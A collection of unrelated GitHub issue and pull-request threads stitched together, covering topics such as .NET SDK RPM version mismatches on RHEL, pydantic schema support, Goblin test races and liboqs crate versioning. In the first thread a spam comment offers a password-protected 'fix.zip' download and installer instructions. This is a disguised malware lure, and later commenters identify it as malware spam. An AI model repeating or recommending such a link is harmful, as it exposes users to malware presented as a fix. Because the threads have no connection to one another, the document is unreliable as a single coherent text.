Missing RPM package versions for .NET SDK 8.0 in the RHEL repository

I believe that some RPM packages might be missing from the RHEL 9 repository. When attempting to install the .NET SDK 8.0 on the Red Hat Enterprise Linux, it appears that some of the latest RPM package versions are missing or not in sync. Several packages (e.g., aspnetcore-runtime-8.0, dotnet-runtime-8.0, dotnet-runtime-deps-8.0) are being installed as version 8.0.7-1 instead of the expected 8.0.8-1. This leads to inconsistent versioning across the .NET SDK and runtime components.
Command used
dnf install dotnet-sdk-8.0

Packages installed
Some of the following packages were installed with inconsistent versions:
========================================================================================================================
 Package                                    Architecture       Version                 Repository                  Size
========================================================================================================================
Installing:
 dotnet-sdk-8.0                             x86_64             8.0.401-1               microsoft-prod             145 M
Installing dependencies:
 aspnetcore-runtime-8.0                     x86_64             8.0.7-1                microsoft-prod              10 M
 aspnetcore-targeting-pack-8.0              x86_64             8.0.8-1                 microsoft-prod             3.1 M
 dotnet-apphost-pack-8.0                    x86_64             8.0.8-1                 microsoft-prod             4.7 M
 dotnet-host                                x86_64             8.0.8-1                 microsoft-prod              50 k
 dotnet-hostfxr-8.0                         x86_64             8.0.8-1                 microsoft-prod             134 k
 dotnet-runtime-8.0                         x86_64             8.0.7-1                 microsoft-prod              29 M
 dotnet-runtime-deps-8.0                    x86_64             8.0.7-1                 microsoft-prod             8.5 k
 dotnet-targeting-pack-8.0                  x86_64             8.0.8-1                 microsoft-prod             4.6 M
 netstandard-targeting-pack-2.1             x86_64             2.1.0-1                 microsoft-prod             2.1 M

Problem
This version mismatch leads to runtime issues when executing commands like dotnet run, which results in errors and unexpected behavior:
You must install or update .NET to run this application.

App: /usr/share/dotnet/sdk/8.0.401/dotnet.dll
Architecture: x64
Framework: 'Microsoft.NETCore.App', version '8.0.8' (x64)
.NET location: /usr/share/dotnet/

The following frameworks were found:
  8.0.7 at [/usr/share/dotnet/shared/Microsoft.NETCore.App]

Learn more:
https://aka.ms/dotnet/app-launch-failed

To install missing framework, download:
https://aka.ms/dotnet-core-applaunch?framework=Microsoft.NETCore.App&framework_version=8.0.8&arch=x64&rid=linux-x64&os=rhel.8

Additional information
After manually checking the repository at https://packages.microsoft.com/rhel/9/prod/Packages/d/, it was confirmed that the file dotnet-runtime-deps-8.0-8.0.8-1.x86_64.rpm is indeed missing. The latest available version is dotnet-runtime-deps-8.0-8.0.7-1.x86_64.rpm.
Could you kindly check if this package was mistakenly omitted or provide guidance on how to install the necessary dependencies?
Thanks for your assistance!

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@daviddavis I think you may need to contact github about the spamusers spreading malware, this seems to be a bigger general problem now :)

@Klaas- thanks. It sounds like they're aware of the issue: https://github.com/orgs/community/discussions/136836#discussioncomment-10466406


Signature Verification to Return Verification Error rather than decode error

Failure to verify the signature of a JWT token currently raises a DecodeError. This error is misleading when the source of the error is validation of the signature.

Thanks again for fixing another little issue. :beers:


Set Fuse getattr size to output stream bytes written

What changes are proposed in this pull request?
Fixes #14713
Why are the changes needed?
Show correct bytes written in Fuse.getattr() when file is writing to that fuse mount point
Does this PR introduce any user facing changes?

@ssz1997 @yyongycy PTAL, thanks!

@maobaolong Please also take a look, thanks

alluxio-bot, merge this please


Transaction schema validation

When an transaction is send to bigchaindb that doesnt follow the schema, TypeErrors will occur.
A first step of the validation should be checking the schema.
e.g https://pypi.python.org/pypi/voluptuous
We should consider:

[ ] missing fields
[ ] surplus fields
[ ] value types
[ ] value content

Would be cool to use JSON Schema to define the schema of the transaction. In this way we have a language independent schema we can reuse also on different drivers, without re-implementing the validation every time. Adding a JSON schema would also improve the documentation.
I know @TimDaub knows more about JSON LD but it should not fit this use case (any thoughts?).
After defining the schema, I can use jsonschema to do the actual validation.

Superseded by https://github.com/bigchaindb/bigchaindb/pull/798


Added a CODEOWNERS file

This PR adds a CODEOWNERS file that could help a bit with the maintenance of all the plugins in this repo. If you are open to this idea, I could try and track down some of the contributors of other plugins and see if they would like to have a more active role in maintaining their plugins as well 🙂 . This could potentially also help newer contributors know who to tag for feedback on PR's on a plugin.

This is awesome! We are totally open for this idea!


Concurrency race

Bug
When using Goblin in Go table tests run in parallel occasionally will get the following error, a large dump of data/stack and failed test:
fatal error: concurrent map writes
...

Why
When using Goblin in parallel it makes multiple calls to flag.Parse() which somewhere does a map assignment without a mutex. flag.Parse() is not meant to be called multiple times like this.
Solution
Wrapping the call flag.Parse() in sync.Once.Do() so it only gets called once per instance of Goblin and resolves the issue.

hey @beenbell88! Thx for the contribution. Seems like tests are failing in the parseFlags function we're trying to fix here?

@marcosnils Yes. I we are using Goblin were I work and every now and then it fails due to race condition.
I have a test in race_test.go TestG_Concurrency_Race which shows the error we were getting.
I added some mutex lock/unlocks in places where the internal one could not be used and this allowed my test to pass but now a single test suite in goblin_test.go TestAsync is failing and I'm trying to solve that, but it seems weird that as I execute it again and again I start getting different results, i.e. different combinations of assertions in that test are failing.


Make schema work for Literal and NewType

Change Summary
BaseModel.schema() produces reasonable output for both Literal and NewType (both of which previously generated errors).
Related issue number
#646
Checklist

[x] Unit tests for the changes exist
[x] Tests pass on CI and coverage remains at 100%
[x] Documentation reflects the changes where applicable
[x] HISTORY.rst has been updated

if this is the first change since a release, please add a new section
include the issue number or this pull request number #<number>
include your github username @<whomever>

@samuelcolvin I think the discussion of the proper schema to use for Literal has been resolved.
I'm keen to get this merged because, while I have a workaround I'm happy with for now for non-UUID types, the workaround for uuid.UUID-based NewTypes is currently a little more painful (I describe this in more detail below).
If it would make it easier for you to review, I would be happy to split this into two pull requests (one for NewType and one for Literal). I would just like to get the NewType fix into a release as soon as possible, as it will allow me to remove a decent amount of cruft from my code.

For most types involved with NewType (e.g., str, int, etc.), type(type(x)) == type(x). Because of this, I can use the following work around:
if TYPE_CHECKING:
    MyLabel = NewType("MyLabel", str)
else:
    MyLabel = str

This way, type checking works properly, and if I use the "NewType" as a field label, it is interpreted correctly by pydantic. This results in a little more runtime overhead than NewType, but at least everything works properly.
Unfortunately, uuid.UUID(uuid.UUID('00000000-0000-0000-0000-000000000000')) raises an exception. As a result, if I try to cast a UUID to a specific NewType for type hinting, it causes runtime errors. In order to deal with this, I need to create a local variable every time I
if TYPE_CHECKING:
    MyID = NewType("MyID", uuid.UUID)
else:
    MyID = uuid.UUID

then create a local variable whenever I need to create a typed UUID:
random_id: MyID = uuid.UUID(uuid4_str())  # type: ignore

However, needing to create a local variable for this every time is starting to pollute my code, and mypy can't notify me if I forget to avoid casting uuids to the typed variant (leading to annoying runtime errors).

I'm happy with this.
Sorry I've been absent in this conversation, I was at pycon europe, then at a friends wedding the sorting the rest of my life out.
I'll try to put some time into pydantic later in the week to get this and other PRs merged and released and work out what to do about v1.

@dmontagu please could you rebase and update HISTORY, as per #664 I've just made a release so you'll need a new section.

@samuelcolvin No worries! Thanks for being so consistently responsive. The history should be fixed.


Star fix in feedback form

issue no #939
I just remove star label from script and add that in feedback form.

@Kalivarapubindusree Please check it and merge !

@Its-Aman-Yadav @Kalivarapubindusree Please check it and merge !
Thank You !


Add summary.md to support gitbook

It looks really great and I just add SUMMARY.md. We can publish on gitbook.com or read it locally.

And resolve https://github.com/hyper-carrot/go_command_tutorial/issues/10


Expand users package unit test suite

Description
More than just single happy path tests are needed for the suite.
Run unit tests using the ./bin/run_unit_tests command.

Specifics

[ ] add error cases to add_user method
[ ] add error cases to list_users method
[ ] add error cases to set_user_accepted_invite_and_authorization_token method
[ ] add assertions on values passed into method parameters

Hey, @forstmeier - here's a feature to review!

Coverage is actually already over 92% so this isn't needed.


Added SelectedRequestListener UI change + Further Implementation

Made UI change for when request is selected to reflect on InfoPanel.
Added static map display.
Enabled font-awesome integration locally to enhance UX.
Add HealthWorkerCardTest.
Modified check-trailing-whitespace.sh shell script file to skip through .svg files from the font-awesome integration, since it will have printed too many unwanted lines of whitespace errors.
v1.3
fixes #94

How it looks like now:

LGTM


Gyms - Fort Branch

First off i know this isn't the right place, But i must say that this has made the playing experience incredible for 100's of players in my home town, I've been using your maps since release, sometimes i follow along with your WIP and move around from your release branch to dev stuff depending on how i feel at the time.
Getting up and going again yesterday was a great feeling so Thank You, from all of us for all the work you've done!!
Issue: Gyms dont seem to keep current up to date information, im still seeing the same gym information from yesterday when i know the location has been scanned within the last 2 minutes and can see the changes in prestige amounts in person at the location. Im still seeing also seeing a gym in my town thats showing as "empty" when it was only empty for 1 minute yesterday around noon. (assume same issue)

When did you update the branch? There was indeed an issue with showing the oldest entry in the database instead of the newest, but it should have been fixed in 1947484a1802536cc7e28379ef45c6946c4e696a.
Also thanks for the warm words :smiley:

I just made sure the above fix was added and still i see only old gym information.
anything i can do to check the DB?

forts was just merged to master and released as v0.5.0. Moreover, I confirmed on my phone that data on map is displayed correctly - all gyms were properly colored, had proper Pokemon and exact amount of prestige.

Version 0.5.0 is working as it should, again: Thank you for your hard work.

seems i've spoke too soon, gyms seemed to stay updated when i did a fresh install of 0.5.0, fast forward to today and im getting no gym updates again.
i saw another issue pertaining to this today, ill do some reading in the comments see if i can get it working

If I understand you correctly, gyms are not updating on the live map, is that correct? But if you refresh the whole map it's OK for some time, right?


Create social alert component

What you should do
You should create the struct of the social alert component. In this issue you don't need to worry much about the design, just position the component and its parts as the example shown below.
Props received by the component

[ ] Username
[ ] User image url
[ ] The message
[ ] The date
[ ] The social platform where the comment/message was posted

Details about the component

Display the date as dd/mm/aaaa - hh:mm, and the hour should be in 24-hour format.
Display the icon of the social platform where the message was posted. For now, you can assume that only Twitter and Discord are available platforms.

Example

:raising_hand:

Opaaa, vou te dar assign, @LeandraOliveiraS qualquer coisa que não tenha ficado claro, ou se precisar de ajuda, pode perguntar por aqui


Advice on Python Intellisense  with  code: "sys.path.append("../")"

Let's say I have a folder "source", there is a main.py in it, and there is another folder like "event" in it.  Now I want to call a module called "event.py" in folder "event" from main.py:
from event import event

It is Ok , VS intellisense could find it in text editor, but with the code below:
import sys
sys.path.append("../")

from source.event import event

VS intellisense could not find module "event.py".
For I, if I am the coder, I would prefer the 1st paradigm, but UNFORTUNATELY, I encountered MANY codes like the 2ed paradigm from open source python projects---with the VS intellisense missing, this really made an inconvenient situation to analysis open source code, as "ctrl+clicking" on a module becomes impossible.
I hope there is a way to fixed it without modifying original codes--- Is it possible for VS Intellisense to detect module automatically  with the path added code like "sys.path.append("../")?
I know there is a way to add path by "search path" . But this option is only available when the python project is loaded as a VS project.  Then what if I just open the python project folder?
PS: I am using VS2017 15.8.7

Unfortunately, right now, we don't have specific support for adding search paths when using Open Folder, like we do for projects.
In fact, there is no specific IntelliSense support for Open Folder, all files are analyzed as "loose files" as if they were opened by File->Open, we don't propagate the root workspace folder to the analyzer.
We are tracking general open folder functionality support in https://github.com/Microsoft/PTVS/issues/1556

@huguesv , thanks for your answer. I know opening with a "solution" is kind of VS style, which is good for managing big projects.  But it would just make a little inconvenience for small projects.   Hope it could be solved.
Anyway, thanks.


multiple bars get created when repeatedly calling go(100)

Hi,
In my project I want to use the nanobar whenever the user causes some (potentially long-running) calculations. However, some of them end really quickly and the user can click as often as they want. In this case multiple bars appear that are layouted below one another. Eventually this could fill the whole screen.
This should be avoided, e.g. by removing the previous bar without an animation,
You can also try this on the demo page by repeatedly clicking the button nanobar.go(100).

hi @stuikomma , what browser?

Chrome

But it's the same in Firefox.

yeah, this sucks. +1

@stuikomma , why not just throttle the button clicks?

@skibz Because it is a user interaction? Usually, they wouldn't do that but they might. +I think that this is something that should be handled by the library.

I think it's a good idea to check for multiple bars in the library too, I'm calling the Nanobar when there's an ajax call, if there are more than one ajax call in one single js it will displays multiple bars.

Old issue that but I've only been using nanobar for a few weeks.
I don't think that that's a nanobar concern. Nanobar is a view that draws (and animates) itself according to some (target) value. Why complexify it? I agree with @skibz. Just let the user throttle his calls.
On that note, however, I find it disappointing that one can only (apparently) have one nanobar per document. That IMO is a far greater limitation of the current setup.

Hi guys, this is the natural behaviour of nanobar, it creates a progress bar everytime the previous bar has reached 100%. You can create multiple nanobars for multiple progresses. You can also edit nanobar css from the last commit.


Optimize design for low-power

See

https://github.com/nodemcu/nodemcu-devkit-v1.0/issues/26 and other
https://tinker.yeoman.com.au/2016/05/29/running-nodemcu-on-a-battery-esp8266-low-power-consumption-revisited/
https://www.losant.com/blog/making-the-esp8266-low-powered-with-deep-sleep

This is done in the new version of Irnas-NodeMCU board: https://github.com/IRNAS/nodemcu-devkit-v1.0/releases/tag/v0.1


Isomorphic loader breaks when context changes

Because the root loader, like all loaders, are executed in parallel, we have once again hit an issue.

Login happens
Server redirects, new server passes the LoadContext into root loader (aka the new user object)
In parallel, we've redirected to /settings
/settings hits window.REMIX_CONTEXT, which is bound in root.tsx, it hasnt bound user yet
/settings then redirects back to /login

No idea how we're going to fix this (sigh) without a hard refresh on login.

Duct taped in e3d1b73

Core behavior is solved by using redirectDocument, though it doesnt fix the underlying issue. This could still get hit if the frontend was active and the session expired.

Migrated to Next for now


Error creating dataset

Hi,
I tried creating a dataset just like I did two weeks ago, but FREME is now returning an error:
 $ curl -v -H 'Content-Type: application/n-triples' --header 'X-Auth-Token: <tolkien_suppressed>' "https://api.freme-project.eu/current/e-entity/freme-ner/datasets?name=sbr&language=nl&visibility=public" -d @skosLabels.nt
*   Trying <IP_ADDRESS>...
* Connected to api.freme-project.eu (<IP_ADDRESS>) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 704 certificates in /etc/ssl/certs
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_256_GCM_SHA384
* 	 server certificate verification OK
* 	 server certificate status verification SKIPPED
* 	 common name: api.freme-project.eu (matched)
* 	 server certificate expiration date OK
* 	 server certificate activation date OK
* 	 certificate public key: RSA
* 	 certificate version: #3
* 	 subject: CN=api.freme-project.eu
* 	 start date: Mon, 16 Jan 2017 13:22:00 GMT
* 	 expire date: Sun, 16 Apr 2017 13:22:00 GMT
* 	 issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3
* 	 compression: NULL
* ALPN, server did not agree to a protocol
> POST /current/e-entity/freme-ner/datasets?name=sbr&language=nl&visibility=public HTTP/1.1
> Host: api.freme-project.eu
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Type: application/n-triples
> X-Auth-Token: <tolkien_suppressed>
> Content-Length: 17045
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* We are completely uploaded and fine
< HTTP/1.1 500 Internal Server Error
< Server: nginx/1.6.2
< Date: Fri, 27 Jan 2017 09:53:30 GMT
< Content-Type: application/json;charset=UTF-8
< Content-Length: 265
< Connection: close
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: 0
< X-Frame-Options: DENY
< Access-Control-Allow-Origin: *
< Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
< Access-Control-Max-Age: 3600
< Access-Control-Allow-Headers: x-requested-with, content-type, x-auth-token, x-auth-username, x-auth-password
<
{
  "exception": "eu.freme.common.exception.FREMEHttpException",
  "path": "/e-entity/freme-ner/datasets",
  "message": "java.nio.charset.MalformedInputException: Input length = 1",
  "error": "Internal Server Error",
  "status": 500,
  "timestamp":<PHONE_NUMBER>723
* Closing connection 0

The vocab I am using can be found attached.
skosLabels.nt.zip

Also, #171 was closed by "datasets were deleted", but it seems that they disappearead during server migration (we did not delete them, that's why I was trying to upload them again here).


got the TS ERROR when typing the keywords in VUE3

keywords like ref, reactive, onMounted, etc. are not capable of using the Inteligent autocomplete in writing VUE3 codes.
any idea for this issue?

Getting the same issue, gotta restart the server every 2-3 minutes just to get auto-completion to work, it's a bit of a pain.
VSCode Insiders 1.75.0
Using takeover mode with typescript 4.9.4, builtin is disabled.
Volar settings:
  "volar.vueserver.maxOldSpaceSize": 10000,
  "volar.vueserver.noProjectReferences": true,
  "volar.doctor.checkVueTsc": true,
  "volar.autoCompleteRefs": true,
  "volar.completion.preferredTagNameCase": "pascal"

I still have this issue after re-install the Volar plug-in, what I have missed?

Volar 1.0.18 still have this problem

Can confirm we still have the problem, it seems to only be with vue functions.

v1.0.19 still fails me.

See #2190.


moved to environment variables, and building search

LGTM

Make sure these environment variables are available on the server


[Request] After user denied permissions, can we don't go to the settings?

Hi Ivan, and thanks a lot for your work.
After user denied permission, can we don't go to the settings for the first time when we denied permission?
Thanks

Hi!
Yes, I am added it in 1-2 hours. I am forget about this in new version. I will close issue when public new version.
Thanks for feedback.

I am publish new version 5.0.5. How customise alert, see section DataSource & Delegate.


Multiprocessing seems to erroneously fork bomb

Bug Description
A simple and valid multiprocessing example for python fork bombs when run under pyo3.
You'll forgive me if I didn't try to run this example again to check that it properly executes. I don't want to get self-bombed again. But the basic idea seems to hold. It happened to me twice already. If this example doesn't work, you can still place it in a file and run that file from pyo3 (that's how I did it)
(This also happens even with freeze_support())
(auto-initialize feature is checked)
use pyo3::prelude::*;

fn main() -> PyResult<()> {
    let code = r#"
import multiprocessing
import time

def worker():
    print("Starting worker")
    time.sleep(5)
    print("Worker finished")

if __name__ == "__main__":
    processes = []

    for _ in range(5):
        p = multiprocessing.Process(target=worker)
        p.start()
        processes.append(p)

    for p in processes:
        p.join()
"#;

    Python::with_gil(|py| Python::run_bound(py, code, None, None))
}

Steps to Reproduce

Run code using python command in terminal
No problem. Works great like it should.
 Did you use a virtualenv?
From website using installer
Additional Info
No response

Because you're not running the entire Python binary, what's required may be slightly different here.

Closing as it sounds there is no further action here.


qbittorrent-nightly: Add version<PHONE_NUMBER>

[x] I have read the Contributing Guide.
I also have a version that removes the pdb file as that's huge and not needed 99% of the time, I could PR that here if there is any want for it, but for now I'll just keep it as a -lean manifest in my personal bucket.

/verify


Minor changed to "used by" part and more Python data source documentation.

Moved the "used by" part to an include so it will be added everywhere when it is edited
added Site Booster :-)
added text on the Python data source.

Rebased and manually merged.

Sorry about that...
On Tue, Jun 16, 2015, 09:59 Arik Fraimovich<EMAIL_ADDRESS>wrote:

Rebased and manually merged.
—
Reply to this email directly or view it on GitHub
https://github.com/EverythingMe/redash/pull/453#issuecomment-112314251.

No worries. :+1:


'show-ota-status' is not a valid value for the 'Operation' command line option in the TP4.2

In the "update the device" section, I use "azsphere device show-ota-status" command to check the update status. However, i get an error which tells me that "'show-ota-status' is not a valid value for the 'Operation' command line option. "

文档详细信息
⚠ 请勿编辑此部分。 docs.microsoft.com ➟ GitHub 问题链接必须具有此部分。

ID: 8d22728a-dbc4-f92a-e993-0c13ec09e4c3
Version Independent ID: e89fb1af-07cb-f571-6b88-3a4de7fb87f8
Content: Configure Wi-Fi and update your device quickstart
Content Source: AzureSphere/articles/QuickStart/qs-configure-wifi.md
Product: azure-sphere
GitHub Login: @pennyo
Microsoft Alias: azurespheredocs

Thank you for your feedback. This command is not available in the TP4.2 tools. We apologize for the confusion.

You're right. We'll fix the example. Thanks for your feedback.


Web: Remove notice about missing export templates

The WebGL 2.0 renderer is now at least partly functional, so we'll start providing export templates for the Web platform again.

Superseded by #65464.


REQUEST: New membership for

GitHub Username
Skyenought
Requirements

[x] I have reviewed the community membership guidelines (https://github.com/cloudwego/community/blob/main/COMMUNITY_MEMBERSHIP.md)
[x] I have joined to the Slack Channel and Feishu Group Chat (for Chinese)
[x] I am contributing (any of the following apply: issues, discussions, PRs, reviews) to 1 or more CloudWeGo repositories

List of contributions to CloudWeGo

PRs reviewed / authored

Translate Docs

docs(readme) add README_CN.md [cloudwego/hertz-examples]
docs: translate hertz/tutorials/basic-feature/stream [cloudwego/cloudwego.github.io]
docs: translate hertz/tutorials/basic-feature/bindAndValidate and fix markdown syntax error in zh docs [cloudwego/cloudwego.github.io]
docs: translate hertz/tutorials/framework-exten/advanced-exten/protocol [cloudwego/cloudwego.github.io]
docs: translate hertz/tutorials/basic-feature/stream [cloudwego/cloudwego.github.io]
docs: translate hertz/tutorials/basic-feature/bindAndValidate and fix markdown syntax error in zh docs [cloudwego/cloudwego.github.io]
docs: translate hertz/tutorials/framework-exten/advanced-exten/protocol [cloudwego/cloudwego.github.io]

Code Contribution

style: fix typo (tempalte -> template) [cloudwego/hertz-examples]
feat: add multiple_service example [cloudwego/hertz-examples]
feat: add sentinel example [cloudwego/kitex-examples]
feat: add sentinel example [cloudwego/hertz-examples]
feat: add sentinel adapter [hertz-contrib/opensergo]
refactor: package [hertz-contrib/opensergo]
feat: add adapter for hertz [alibaba/sentinel-golang]
optimize: remove useless judgement [cloudwego/hertz]
refactor: rebuild zh community page [cloudwego/cloudwego.github.io]
docs(FAQ): add questions about kitex generator tool [cloudwego/cloudwego.github.io]
Author of [hertz-contrib/i18n]
Author of [hertz-contrib/gzip]
Author of [hertz-contrib/sessions]
Author of [hertz-contrib/registry/nacos]

Issues about CloudWeGo

Proposal: add a flag to support custom suffixes for IDL [cloudwego/hertz]
Proposal: generate tool about cloudwego [cloudwego/kitex]

Code Review of CloudWeGo

feat: Support Hertz to use Consul for service discovery and registration
feat: support service registeration and discovery with Netflix Eureka
feat: add etcd registry
feat: add zookeeper register

Articles about CloudWeGo

对于 CloudWeGo kitex 生成工具的源码分析
Kitex Tool 解析第二期 —— 文件是怎么自动生成的
Kitex 源码解析 —— 将服务注册进入注册中心的细节
Hertz 源码解析—— hz new 是怎么生成代码文件的
Hertz 源码解析—— hz 是怎么支持自定义模板功能的？
Hertz 源码解析 —— 对 hz 工具的小改动
Hertz 和 Sentinel Go 的对接方案

+1

+1

+1

+1 👍

thanks a lot, approve

+1

+1 ❤

Hi, your request has been reviewed by the CloudWeGo-Hertz project management team and passed with unanimous approval. Congratulations !
You have been invited to join CloudWeGo and hertz-contrib orgs as public members, as well as Hertz-committers team in CloudWeGo.
Please check Responsibilities and privileges for more details.
Welcome to Join us !

Your certificate is here.


Questions about MemoryPool

First of all, great project guys! But 2 things about MemoryPool implementation confuse me a little bit.

Seems that you dont actually reuse the already allocated pages but choose to malloc new pages everytime when you call MemoryPoolImpl::allocte

why you choose to use mmap for memory pool implementation? Any reason behind this choice?

CC: @tanjialiang @xiangxu1121 @oerling

Using mmap as we do gives you a precisely known resident set size and guaranteed zero fragmentation. This is needed for running inside a fixed resource envelope.  The same is not true of malloc. But there is also a malloc based variant of the functions.  Of course if you use malloc then malloc keeps its free lists etc and you in general would not be performing this function. There are a couple of instances of more complex objects (consisting of multiple pieces of memory), like vectors, being recycled, e.g. VectorPool.

Thx, I am clear about why you use mmap. What about memory reuse?
From what I see, your memory management behaves like this when user requests new memory allocation.
Standard Memory
Use malloc for each allocation
MappedMemory

Use malloc directly for <3KB allocation
Use malloc for 3KB < bytes < largest pagerun size, but roundup to a certain pagerun size
Use 'mmap' for beyond the largest single pagerun size allocation.

Your memory pool use these 2 for memory allocation and free, but seems that I dont see any memory reuse here ?


Version numbering

We're currently using the liboqs version numbering scheme, which does make it clear which version we're bundling. However, that also means that we can't really release patch versions. This is sometimes a problem: #189
One possibility would be to do the following: Release 0.7.2 as 7.2.0 so that we can actually issue patch releases.

Is it possible to set version to <IP_ADDRESS>?

AFAIK no, that's pretty much the point of this issue.

@dstebila what do you think?

If you're limited to x.y.z, then perhaps what you can do is increment z to e.g. 0.7.3?  The convention being that 0.7 is the liboqs release series with particular updates within that, and you're matching the liboqs 0.7 release series with your own updates.

I'm afraid that this would get confusing as to which version of liboqs we're packaging though...

What do you think about basically moving OQS versioning one position to the left? ie. 0.7.2 -> 7.2.0?
Another option could be to do 0.7.2 -> 0.72.0 now that I think of it. I kinda like that as it preserves the "pointoh-ness" of the release.

Oooh, I like 0.7.200.  I had also thought of the 7.2.0 idea but it seemed too drastic, and would lose the oomph of a 1.0 when it happens.

Okay at some point I will transition over to that versioning scheme.

Oh, crap: this doesn't actually work for versions like 0.8.0: Rust wants to simplify 001 to 1 which breaks this.

Perhaps we do need to move to the 0.80.0 scheme...

One option to resolve this is to version the crates in a semver way uncoupled from liboqs version, but append a build annotation with liboqs version, like libgit2-sys does (crate_ver+liboqs_ver e.g. 0.8.1+0.8.0), not sure yet how that treats backwards compatibility though

TIL that format. It does seem that it's completely ignored and I'm not sure how visible that would be to users, though...
https://doc.rust-lang.org/cargo/reference/resolver.html#version-metadata

At the very least it's visible in crates.io and Cargo.lock entries; since we already instruct users to do oqs = "*" in Cargo.toml, it doesn't seem intrusive.

I mean, specifying oqs = "*" in the README is in part because I can not be trusted to keep it up to date 🙈

But if we do the a.b.c+liboqs-e.f.g approach, how do we bump the version in a way that distinguishes it from the liboqs versioning... 🤔

I'd assume following semver as close as reasonable, e.g.:

patch bumps on bugfixes to the rust wrapper API and semver-compatible liboqs bumps
minor bumps on breaking changes to the rust wrapper and semver-incompatible liboqs-bumps (as long as we're on a 0.y.z version that allows this per semver rules)
exceptions to the above resolved on case-by-case basis

I have updated the versioning scheme and we're no longer following upstream.


video get copyright for no reason

when it upload the video witch is my own btw it keeps getting private by youtube, how do i fix this?

@kevnil0420 That will happen, can't be fixed, it used to work earlier, but won't work now, you need to get your app verified by Google, which is tough, after that you'll be able to upload public videos.

Thx & how do I get google to verify it?
On Tue, 8 Feb 2022, 04:22 Abhishek Chaudhary, @.***>
wrote:

@kevnil0420 https://github.com/kevnil0420 That will happen, can't be
fixed, it used to work earlier, but won't work now, you need to get your
app verified by Google, which is tough, after that you'll be able to upload
public videos.
—
Reply to this email directly, view it on GitHub
https://github.com/theabbie/Youtube-Uploader-Bot/issues/9#issuecomment-1032174045,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AXU7J3B3PGSI3DHZOVIND53U2CEBHANCNFSM5NYTAFMA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.
You are receiving this because you were mentioned.Message ID:
@.***>

@kevnil0420 https://developers.google.com/apps-script/guides/client-verification#requesting_verification
You need to fulfil these requirements, then you can submit it.

Thanks, I'll check it out.
On Tue, 8 Feb 2022, 04:38 Abhishek Chaudhary, @.***>
wrote:

@kevnil0420 https://github.com/kevnil0420
https://developers.google.com/apps-script/guides/client-verification#requesting_verification
You need to fulfil these requirements, then you can submit it.
—
Reply to this email directly, view it on GitHub
https://github.com/theabbie/Youtube-Uploader-Bot/issues/9#issuecomment-1032181433,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AXU7J3FYMLCNHAE7ZNQQ6FTU2CF2DANCNFSM5NYTAFMA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.
You are receiving this because you were mentioned.Message ID:
@.***>


Use LSB SDK as the build system

If we use the LSB SDK as the build system, then the resulting binaries should be most compatible to systems out there.
http://www.linuxfoundation.org/collaborate/workgroups/lsb/build-lsb-compliant-application
http://ftp.linuxfoundation.org/pub/lsb/bundles/released-5.0.0/sdk/lsb-sdk-5.0.0-3.x86_64.tar.gz

Possibly this can be used as a build chroot environment:
http://downloads.yoctoproject.org/releases/yocto/yocto-1.7.1/machines/qemu/qemux86-64-lsb/core-image-lsb-sdk-qemux86-64-20150106145823.rootfs.ext3

Sounds like a good idea.
I tried to setup the LSB SDK last night on my Arch Linux machine, but didn't have much luck as it uses RPM packages. I'll give it another go soon to see if I can get it installed (if only they had an AppImage ;))
Do you know how LSB handles dependencies? I'm currently creating an Arch Linux Docker container as we can install almost any version of almost any dependency from https://archive.archlinux.org/
The scripts then parse the AppImage.yml file to get the list of dependencies and versions, and either generates a URL to the package on the Arch Linux archive and downloads and extracts these into the AppDir or installs them in the container for use in compiling the application.
I was unable to find another place that had an archive of pre-compiled Linux libs in multiple versions that we could easily download and extract into our AppDir.

debian/ubuntu/dpkg comes to mind but like with all binaries you must make sure that the binaries you are using are compiled on an "old enough" base system, otherwise they will not run. A reasonable compromise right now seem "trusty ppa" repositories for Ubuntu. Some projects provide recent app versions for it.
See my Stellarium recipe for an example.

You make a very good point.
Can LSB packages be compiled on any distro?
If so, I wonder if we could have a central repository of pre-compiled LSB libraries that AppImager can just download and place into the AppDir?

There is/was(?) the LSB SI ("Sample Implementation") which basically contains a full system with all the libs that are part of the LSB.


Design the basic page structure of the site in documentation

Decide what the initial design of the pages will be so we can start implementing that when making the initial pages.

Design can be changed later through new user stories, the design documentation should specify where this design is placed to make editing easier.

https://docs.google.com/document/d/1KJFObrHL1bOBqeuN3_whqZuVFzKRTQFpKi25lcoGS9I/edit#heading=h.jgun42m5es2r


Async tests stalls

Sometimes gio test stalls
https://travis-ci.org/gtk-rs/gio/builds/348980232
Tried to add delay in spawned thread but it don't helps.
diff --git a/src/test_util.rs b/src/test_util.rs
index 660e6c0..40a7380 100644
--- a/src/test_util.rs
+++ b/src/test_util.rs
@@ -4,6 +4,7 @@

 use std::sync::mpsc::{channel, Sender};
+use std::time::Duration;
 use std::thread;
 use glib::*;

@@ -16,6 +17,7 @@ pub fn run_async<T: Send + 'static, Q: FnOnce(Sender<T>, MainLoop) + Send + 'sta
     let (tx, rx) = channel();

     thread::spawn(move || {
+        thread::sleep(Duration::from_millis(100));
         c.invoke(move || {
             start(tx, l_clone);
         });

Do you have a backtrace of all threads when that happens?

It seems don't happened on my computer, only seen in travis.

Also not sure how get backtrace on stalling program.

You could attach to it with gdb --pid=12345. But if this is only on travis then that's not going to work

By the way, it's possible to run a travis build in debug mode and get a "ssh" access afterwards.
That might help to debug this issue.

Fixed a long time ago


% of vh?

Hi there,
Loving Tailwind, it's my first day using it.
